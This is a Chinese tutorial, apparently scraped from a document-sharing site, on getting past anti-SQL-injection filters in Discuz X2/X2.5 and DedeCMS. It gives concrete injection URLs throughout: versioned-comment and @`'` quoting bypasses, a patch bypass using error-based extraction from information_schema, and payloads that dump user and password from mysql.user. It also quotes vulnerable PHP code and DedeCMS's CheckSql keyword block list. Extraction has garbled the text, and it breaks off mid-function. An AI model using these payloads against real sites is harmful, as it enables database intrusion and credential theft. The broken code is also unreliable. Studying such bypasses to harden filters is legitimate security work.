几种通用防注入程序绕过方法docWord格式文档下载.docx
《几种通用防注入程序绕过方法docWord格式文档下载.docx》由会员分享,可在线阅读,更多相关《几种通用防注入程序绕过方法docWord格式文档下载.docx(24页珍藏版)》请在冰豆网上搜索。
query(“select*from“.DB:
table(‘v63_pm’).”wheregid=’$goods[id]‘orderbyiddesc“);
09
$last=DB:
10
if(is_array($last)){
11
]=$last['
chujia'
12
uid'
]
=$last['
13
username'
14
pm'
]=$last;
15
if(time()+600>
]){
16
]=$last[time]+600;
17
s’,$last[time]+600);
18
}
19
20
21
return$goods;
22
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:
下面可以构造如下请求触发漏洞了,如图所示:
不过程序内置了一个_do_query_safe函数用来防注入,如图所示
这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

因为我们的url中出现了unionselect,所以会被过滤掉。
绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
1
http:
//localhost/discuzx2/plugin.php?
id=v63shop:
goods&
pac=info&
gid=1and1=2union/*!
50000select*/1,2,3,4,5,6,concat(user,0×
23,password),8,9,10,11,12,13frommysql.user
这里我们跟踪一下,绕过的具体过程。
它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
select
*
from
pre_v63_goods
where
`id`=1
and
1=2
union
/**/
1,2,3,4,5,6,concat(user,0×
23,password),8,9,10,11,12,13
mysql.user
再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示
此时$clean值,如图所示
此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:
02DiscuzX2.5防注入
DiscuzX2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示
这里$_config['
security'
]['
querysafe'
afullnote'
]默认被设置为0,重点关注这一点。
这里跟踪一下失败的原因,如图所示:
此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示:
其实,程序执行到这里跟DiscuzX2.0没有区别,$clean的值都一样。
但是关键在下面,如图所示:
因为前面提到$_config['
]=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:
所以注入失败。
在Mysql当中,定义变量用@字符,可以用set@a=’abc’,来为变量赋值。
这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@’放入sql语句当中,帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤,如下所示:
//localhost/discuz/plugin.php?
gid=@`’`unionselect@`’`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14frommysql.user
这里跟踪一下执行的过程,如图所示:
这里有一个if判断,重点看这句
$clean=preg_replace(“/’(.+?
)’/s”,”,$sql);
它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用
@`’`
@`’`
这样的方法,在下面的过滤中省掉unionselect,这里跟踪一下,如图所示:
这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:
不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。
官方的修复代码如下:
加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:
if(strpos($sql,’/'
)===false&
&
strpos($sql,’#'
strpos($sql,’–‘)===false){$clean=preg_replace(“/’(.+?
这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:
gid=`’`or@`”`unionselect1from(selectcount(*),concat((selectdatabase()),floor(rand(0)*2))afrominformation_schema.tablesgroupbya)bwhere@`’`
这里我引入了`’`用来隐藏第一个@字符,并将第一个@`’`替换为@`”`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示:
可以看到$clean变为
select*frompre_v63_goodswhere`id`=“
成功绕过补丁,如图所示:
不过这样做的代价是不能再使用unionselect了,只能通过报错获取数据。
03DedeCMS防注入
这里我也以最近热点分析的dedeCMSfeedback.php注入漏洞为例,分析如何绕过其防注入系统。
不过在这之前,还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行,代码如下所示
<
?
php
if($comtype
==
'
comments'
)
{
$arctitle
=
addslashes($title);
$typeid
intval($typeid);
$ischeck
intval($ischeck);
$feedbacktype
=preg_replace("
#[^0-9a-z]#i"
"
$feedbacktype);
if($msg!
="
$inquery
INSERTINTO'
#@__feedback'
('
aid'
'
typeid'
arctitle'
ip'
ischeck'
dtime'
'
mid'
bad'
good'
ftype'
face'
msg'
)VALUES('
$aid'
$typeid'
$username'
$arctitle'
$ip'
$ischeck'
$dtime'
{$cfg_ml->
M_ID}'
0′,'
$feedbacktype'
$face'
$msg'
);
"
;
$rs
$dsql->
ExecuteNoneQuery($inquery);
if(!
$rs)
ShowMsg('
发表评论错误!
'
-1′);
//echo$dsql->
GetError();
exit();
}
//引用回复
elseif($comtype
reply'
23
$row
GetOne("
SELECT*FROM'
WHEREid='
$fid'
24
$row['
25
$aid
=$row['
26
$msg
$quotemsg.$msg;
27
=HtmlReplace($msg,2);
28
)"
29
30
这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。
跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。
进一步跟踪下面的代码,在第268行,如下所示
GetOne(“SELECT*FROM`#@__feedback`WHEREid=’$fid’”);
这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,
=“INSERTINTO`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES(‘$aid’,'
$typeid’,'
$username’,'
$arctitle’,'
$ip’,'
$ischeck’,'
$dtime’,'
M_ID}’,’0′,’0′,’$feedbacktype’,'
$face’,'
$msg’)”;
这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。
由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。
众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。
其代码如下所示:
001
functionCheckSql($db_string,$querytype=’select’)
002
{
003
global$cfg_cookie_encode;
004
$clean=”;
005
$error=”;
006
$old_pos=0;
007
$pos=-1;
008
$log_file=DEDEINC.’/../data/’.md5($cfg_cookie_encode).’_safe.txt’;
009
$userIP=GetIP();
010
$getUrl=GetCurUrl();
011
012
//如果是普通查询语句,直接过滤一些特殊语法
013
if($querytype==’select’)
014
015
$notallow1=”[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@.-]{1,}”;
016
017
//$notallow2=“–|/*”;
018
if(preg_match(“/”.$notallow1.”/i”,$db_string))
019
020
fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||SelectBreakrn”);
021
exit(“<
fontsize=’5′color=’red’>
SafeAlert:
RequestErrorstep1!
/font>
”);
022
023
024
025
//完整的SQL检查
026
while(TRUE)
027
028
$pos=strpos($db_string,’”,$pos+1);
029
if($pos===FALSE)
030
031
break;
032
033
$clean.=substr($db_string,$old_pos,$pos-$old_pos);
034
035
036
$pos1=strpos($db_string,’”,$pos+1);
037
$pos2=strpos($db_string,’’,$pos+1);
038
if($pos1===FALSE)
039
040
041
042
elseif($pos2==FALSE||$pos2>
$pos1)
043
044
$pos=$pos1;
045
046
047
$pos=$pos2+1;
048
049
$clean.=’$s$’;
050
$old_pos=$pos+1;
051
052
$clean.=substr($db_string,$old_pos);
053
$clean=trim(strtolower(preg_replace(array(‘~s+~s’),array(‘‘),$clean)));
054
055
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
056
if(strpos($clean,’union’)!
==FALSE&
preg_match(‘~(^|[^a-z])union($|[^[a-z])~s’,$clean)!
=0)
057
058
$fail=TRUE;
059
$error=”uniondetect”;
060
061
062
//发布版本的程序可能比较少包括–,#这样的注释,但是黑客经常使用它们
063
elseif(strpos($clean,’/*’)>
2||strpos($clean,’–’)!
==FALSE||strpos($clean,’#'
)!
==FALSE)
064
065
066
$error=”commentdetect”;
067
068
069
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
070
elseif(strpos($clean,’sleep’)!
preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~s’,$clean)!
071
072
073
$error=”slowndowndetect”;
074